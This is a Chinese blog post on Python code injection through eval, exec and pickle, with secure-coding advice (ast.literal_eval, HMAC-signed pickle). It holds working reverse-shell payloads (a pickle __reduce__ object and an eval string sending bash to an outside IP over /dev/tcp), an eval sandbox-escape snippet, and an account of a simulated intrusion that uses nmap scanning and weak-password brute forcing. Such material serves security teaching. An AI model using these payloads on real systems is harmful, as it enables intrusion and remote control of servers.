热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

python注入_Python安全编码—代码注入的实践与防范

什么是代码注入代码注入攻击指的是任何允许攻击者在网络应用程序中注入源代码,从而得到解读和执行的方法。Python中常见代码注入能够执行一行任意字符串形式代码的eval

什么是代码注入

代码注入攻击指的是任何允许攻击者在网络应用程序中注入源代码,从而得到解读和执行的方法。

Python中常见代码注入

能够执行一行任意字符串形式代码的eval()函数

eval("__import__('os').system('uname -a')")

能够执行字符串形式代码块的exec()函数

exec("__import__('os').system('uname -a')")

反序列化一个pickled对象时

pickle.loads("cposix\nsystem\np0\n(S'uname -a'\np1\ntp2\nRp3\n.")

执行一个Python文件

execfile("testf.py")

pickle.loads()代码注入

某不安全的用法:

def load_session(self, session_id=None):

if not session_id:

session_id = self.gen_session_id()

session = Session(session_id, self)

else:

try:

data = self.backend.get(session_id)

if data:

data = pickle.loads(data)

assert type(data) == dict

else:

data = {}

except:

data = {}

session = Session(session_id, self, data)

return session

注入的代码:

>>> import os

>>> import pickle

>>> class exp(object):

... def __reduce__(self):

... s = "/bin/bash -c \"/bin/bash -i > \/dev/tcp/192.168.42.62/12345 0&1 &\""

... return (os.system, (s,))

...

>>> e = exp()

>>> e

>>> k = pickle.dumps(e)

'cposix\nsystem\np0\n(S\'/bin/bash -c "/bin/bash -i > \\\\/dev/tcp/192.168.42.62/12345 0&1 &"\'\np1\ntp2\nRp3\n.'

>>> pickle.loads(k)

0

>>>

[3]+ Stopped python

这些函数使用不当都很危险

os.system

os.popen*

os.spawn*

os.exec*

os.open

os.popen*

commands.*

subprocess.popen

popen2.*

一次模拟的实践

通过这次实践发现系统中的诸多安全薄弱的环节,执行流程如下:nmap扫描公网IPnmap -v -A *.*.*.* -p 1-65535,通过nmap扫描后会发现公开的服务。扫描关键信息见附录。

暴力破解登录名密码test 123,弱口令登陆系统。这个地方的薄弱点在于开发过程中容易留下便于程序员测试后门或若口令。这个地方的弱口令为开发测试账户,却被意外的提交到了线上运行而一直被忽略了。

成功登陆系统后寻找代码注入点,通过成功找到注入点后可执行代码注入通过反向shell连接服务器提权eval("__import__('os').system('/bin/bash -c \"/bin/bash -i > /dev/tcp/10.10.10.130/12345 0&1 &\"')")

第三步在整个系统中发现了两个可进行代码注入的漏洞,第一个为pickl反序列化用户登录信息的时候没有做校验,这样当对应的存储介质(memcache、redis)没有开启登录认证并且暴漏在公网中很容易注入代码。第二个为在系统中一些配置直接使用eval函数执行配置中的Python代码进行注入。

反向shell的使用见附录提供的链接。

如何安全编码严格控制输入,过滤所有危险模块,遇到非法字符直接返回。

使用ast.literal_eval()代替eval(),在项目中禁止使用eval函数,可在git hook中添加代码检查。

安全使用pickle,后面介绍了一种安全使用pickle的方式。

下面就着几个点来说一下:

eval()方法注释:

eval(source[, globals[, locals]]) -> value

Evaluate the source in the context of globals and locals. The source may be a string representing a Python expression or a code object as returned by compile(). The globals must be a dictionary and locals can be any mapping, defaulting to the current globals and locals. If only globals is given, locals defaults to it.

ast.literal_eval()方法注释:

Safely evaluate an expression node or a string containing a Python expression. The string or node provided may only consist of the following Python literal structures: strings, numbers, tuples, lists, dicts, booleans, and None.通过注释我们可以了解eval函数和ast.iteral_eval函数的区别,eval函数可以将任意Python表达式编译成code object对象并被执行。而ast.literal_eval函数是一种安全的方式,strings、number、tuples、lists、dicts、booleans、None这几种Python对象,下面通过详细的对比来了解他们的不同之处。

eval禁用全局或本地变量:

>>> global_a = "Hello Eval!"

>>> eval("global_a")

'Hello Eval!'

>>> eval("global_a", {}, {})

Traceback (most recent call last):

File "", line 1, in

File "", line 1, in

NameError: name 'global_a' is not defined

>>>

使用ast.literal_eval()代替eval()对比:

ast.literal_eval("1+1") # ValueError: malformed string

ast.literal_eval("[1, 2, 3]") # [1, 2, 3]

ast.literal_eval("{1: 1, 2: 2, 3: 3}") # {1: 1, 2: 2, 3: 3}

ast.literal_eval("__import__('os').system('uname -a')") # ValueError: malformed string

eval("__import__('os').system('uname -a')") # Linux zhangxu-ThinkPad-T450 3.13.0-92-generic #139-Ubuntu SMP Tue Jun 28 20:42:26 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux

eval("__import__('os').system('uname -a')", {}, {}) # Linux zhangxu-ThinkPad-T450 3.13.0-92-generic #139-Ubuntu SMP Tue Jun 28 20:42:26 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux

eval("__import__('os').system('uname -a')", {"__builtins__": {}}, {}) # NameError: name '__import__' is not defined

寻找eval的突破点这里留一个给读者思考的地方,大家可以在回复中参与讨论。当我们想方设法减小eval函数的能力时,仍然会有意想不到的方式绕过并执行代码注入,如果大家有什么高见倾听赐教!

eval("[c for c in ().__class__.__bases__[0].__subclasses__()]", {'__builtins__':{}})

参考点:

(

lambda fc=(

lambda n: [c for c in ().__class__.__bases__[0].__subclasses__() if c.__name__ == n][0]

):

fc("function")(

fc("code")(

0, 0, 0, 0, "KABOOM", (), (), (), "", "", 0, ""),

{})()

)()

安全使用pickle在这里我们提供了一种安全使用pickle的方式,在这里大家可以回过头看看自己的项目中是否安全的使用了pickle。

>>> import hmac

>>> import hashlib

>>> import pickle

>>> shared_key = '123456'

>>> class Exp(object):

... def __reduce__(self):

... s = "__import__('os').system('uname -a')"

... return (os.system, (s,))

...

>>> e = Exp()

>>> s = pickle.dumps(e)

>>> s

'cposix\nsystem\np0\n(S"__import__(\'os\').system(\'uname -a\')"\np1\ntp2\nRp3\n.'

>>> k = hmac.new(shared_key, s, hashlib.sha1).hexdigest()

>>> k

'20bc7b14ee6d2f8109c0fc0561df3db40203622d'

>>> send_s = k + ' ' + s

>>> send_s

'20bc7b14ee6d2f8109c0fc0561df3db40203622d cposix\nsystem\np0\n(S"__import__(\'os\').system(\'uname -a\')"\np1\ntp2\nRp3\n.'

>>> recv_k, recv_s = send_s.split(' ', 1)

>>> recv_k, recv_s

('20bc7b14ee6d2f8109c0fc0561df3db40203622d', 'cposix\nsystem\np0\n(S"__import__(\'os\').system(\'uname -a\')"\np1\ntp2\nRp3\n.')

>>> new_k = hmac.new(shared_key, recv_s, hashlib.sha1).hexdigest()

>>> new_k

'20bc7b14ee6d2f8109c0fc0561df3db40203622d'

>>> diff_k = hmac.new(shared_key + "123456", recv_s, hashlib.sha1).hexdigest()

>>> diff_k

'381542893003a30d045c5c729713d2aa428128de'

>>>如何提高安全编码意识?

我觉得其实在整个项目中最薄弱的环节还是人,开发人员更多的会关注从需求到代码的设计实现,开发的速度和质量,而最重要的安全性在某些情况下是不易被量化和关注的。普通用户更多的会关注使用上是否合理。一小部分用户会关注系统的漏洞如何发现和利用,甚至加以破坏,当然后者我们是不希望的。

对外的系统我们会很注重系统的安全性,毕竟那一小部分用户带来的影响将是巨大的,而作为内部系统来说,安全性相对不那么重要了。

而作为开发人员我们如何提高自身的安全编码意识以及如何安全编码也是在所处环境中值得深思的一个问题。

附录

nmap扫描部分结果

What is nmap?

Nmap (Network Mapper) is a security scanner originally written by Gordon Lyon used to discover hosts and services on a computer network, thus creating a "map" of the network.

-A: Enable OS detection, version detection, script scanning, and traceroute

-v: Increase verbosity level (use -vv or more for greater effect)

-p : Only scan specified ports

root@bt:~# nmap -v -A *.*.*.* -p 1-65535

Starting Nmap 6.25 ( Nmap: the Network Mapper ) at 2016-07-26 13:30 EDT

......

Not shown: 65527 filtered ports

PORT STATE SERVICE VERSION

139/tcp open netbios-ssn

1723/tcp open pptp Microsoft

8891/tcp open http nginx 1.4.4

9090/tcp closed zeus-admin

13228/tcp open http Microsoft IIS httpd 7.5

14580/tcp closed unknown

36666/tcp open unknown

64380/tcp open unknown

......

Device type: general purpose|storage-misc

Running (JUST GUESSING): Linux 2.4.X (99%), Microsoft Windows 7 (95%), BlueArc embedded (91%)

OS CPE: cpe:/o:linux:linux_kernel:2.4 cpe:/o:microsoft:windows_7:::enterprise cpe:/h:bluearc:titan_2100

Aggressive OS guesses: DD-WRT v24-sp2 (Linux 2.4.37) (99%), Microsoft Windows 7 Enterprise (95%), BlueArc Titan 2100 NAS device (91%)

No exact OS matches for host (test conditions non-ideal).

Network Distance: 2 hops

TCP Sequence Prediction: Difficulty=259 (Good luck!)

IP ID Sequence Generation: Incremental

Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

......

NSE: Script Post-scanning.

Read data files from: /usr/local/bin/../share/nmap

OS and Service detection performed. Please report any incorrect results at Nmap OS/Service Fingerprint and Correction Submission Page .

Nmap done: 1 IP address (1 host up) scanned in 895.44 seconds

Raw packets sent: 262711 (11.560MB) | Rcvd: 55220 (2.209MB)

Links:

反向Shell

参考资料

感谢以下各位的分享打个小广告,欢迎大家关注我的个人微信公众号:软件开发那点事

我会不定期的与大家分享一些当下热门的软件开发动向和一些软件开发技能,欢迎大家关注~



推荐阅读
  • Python语法上的区别及注意事项
    本文介绍了Python2x和Python3x在语法上的区别,包括print语句的变化、除法运算结果的不同、raw_input函数的替代、class写法的变化等。同时还介绍了Python脚本的解释程序的指定方法,以及在不同版本的Python中如何执行脚本。对于想要学习Python的人来说,本文提供了一些注意事项和技巧。 ... [详细]
  • 怀疑是每次都在新建文件,具体代码如下 ... [详细]
  • 本文介绍了Linux Shell中括号和整数扩展的使用方法,包括命令组、命令替换、初始化数组以及算术表达式和逻辑判断的相关内容。括号中的命令将会在新开的子shell中顺序执行,括号中的变量不能被脚本余下的部分使用。命令替换可以用于将命令的标准输出作为另一个命令的输入。括号中的运算符和表达式符合C语言运算规则,可以用在整数扩展中进行算术计算和逻辑判断。 ... [详细]
  • Go Cobra命令行工具入门教程
    本文介绍了Go语言实现的命令行工具Cobra的基本概念、安装方法和入门实践。Cobra被广泛应用于各种项目中,如Kubernetes、Hugo和Github CLI等。通过使用Cobra,我们可以快速创建命令行工具,适用于写测试脚本和各种服务的Admin CLI。文章还通过一个简单的demo演示了Cobra的使用方法。 ... [详细]
  • 本文介绍了Shell中for命令的基本格式和用法,通过提供一个值列表来迭代执行一系列命令。同时还介绍了如何读取列表中的值,并给出了for命令与其他命令的结合使用示例。 ... [详细]
  • 本文介绍了使用readlink命令获取文件的完整路径的简单方法,并提供了一个示例命令来打印文件的完整路径。共有28种解决方案可供选择。 ... [详细]
  • 详解 Python 的二元算术运算,为什么说减法只是语法糖?[Python常见问题]
    原题|UnravellingbinaryarithmeticoperationsinPython作者|BrettCannon译者|豌豆花下猫(“Python猫 ... [详细]
  • 本文讨论了一个关于cuowu类的问题,作者在使用cuowu类时遇到了错误提示和使用AdjustmentListener的问题。文章提供了16个解决方案,并给出了两个可能导致错误的原因。 ... [详细]
  • 不同优化算法的比较分析及实验验证
    本文介绍了神经网络优化中常用的优化方法,包括学习率调整和梯度估计修正,并通过实验验证了不同优化算法的效果。实验结果表明,Adam算法在综合考虑学习率调整和梯度估计修正方面表现较好。该研究对于优化神经网络的训练过程具有指导意义。 ... [详细]
  • 本文详细介绍了Java中vector的使用方法和相关知识,包括vector类的功能、构造方法和使用注意事项。通过使用vector类,可以方便地实现动态数组的功能,并且可以随意插入不同类型的对象,进行查找、插入和删除操作。这篇文章对于需要频繁进行查找、插入和删除操作的情况下,使用vector类是一个很好的选择。 ... [详细]
  • 也就是|小窗_卷积的特征提取与参数计算
    篇首语:本文由编程笔记#小编为大家整理,主要介绍了卷积的特征提取与参数计算相关的知识,希望对你有一定的参考价值。Dense和Conv2D根本区别在于,Den ... [详细]
  • 2019独角兽企业重金招聘Python工程师标准
    本文介绍了2019独角兽企业重金招聘Python工程师的标准。同时解释了Alpha、Beta、RC、GA、RTM、OEM、RVL、EVAL、RTL、α、β、λ等相关术语的含义和区别。 ... [详细]
  • Python脚本编写创建输出数据库并添加模型和场数据的方法
    本文介绍了使用Python脚本编写创建输出数据库并添加模型数据和场数据的方法。首先导入相应模块,然后创建输出数据库并添加材料属性、截面、部件实例、分析步和帧、节点和单元等对象。接着向输出数据库中添加场数据和历程数据,本例中只添加了节点位移。最后保存数据库文件并关闭文件。文章还提供了部分代码和Abaqus操作步骤。另外,作者还建立了关于Abaqus的学习交流群,欢迎加入并提问。 ... [详细]
  • systemd-nspawn可以创建最轻量级的容器(ns的意思就是namespace),本文的实验平台是Ubuntu16.04,x86_64机器。本文的目的是:在Ubuntu中用syst ... [详细]
  • mysql自动打开文件_让docker中的mysql启动时自动执行sql文件
    本文提要本文目的不仅仅是创建一个MySQL的镜像,而是在其基础上再实现启动过程中自动导入数据及数据库用户的权限设置,并且在新创建出来的容器里自动启动My ... [详细]
author-avatar
拍友2502883387
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有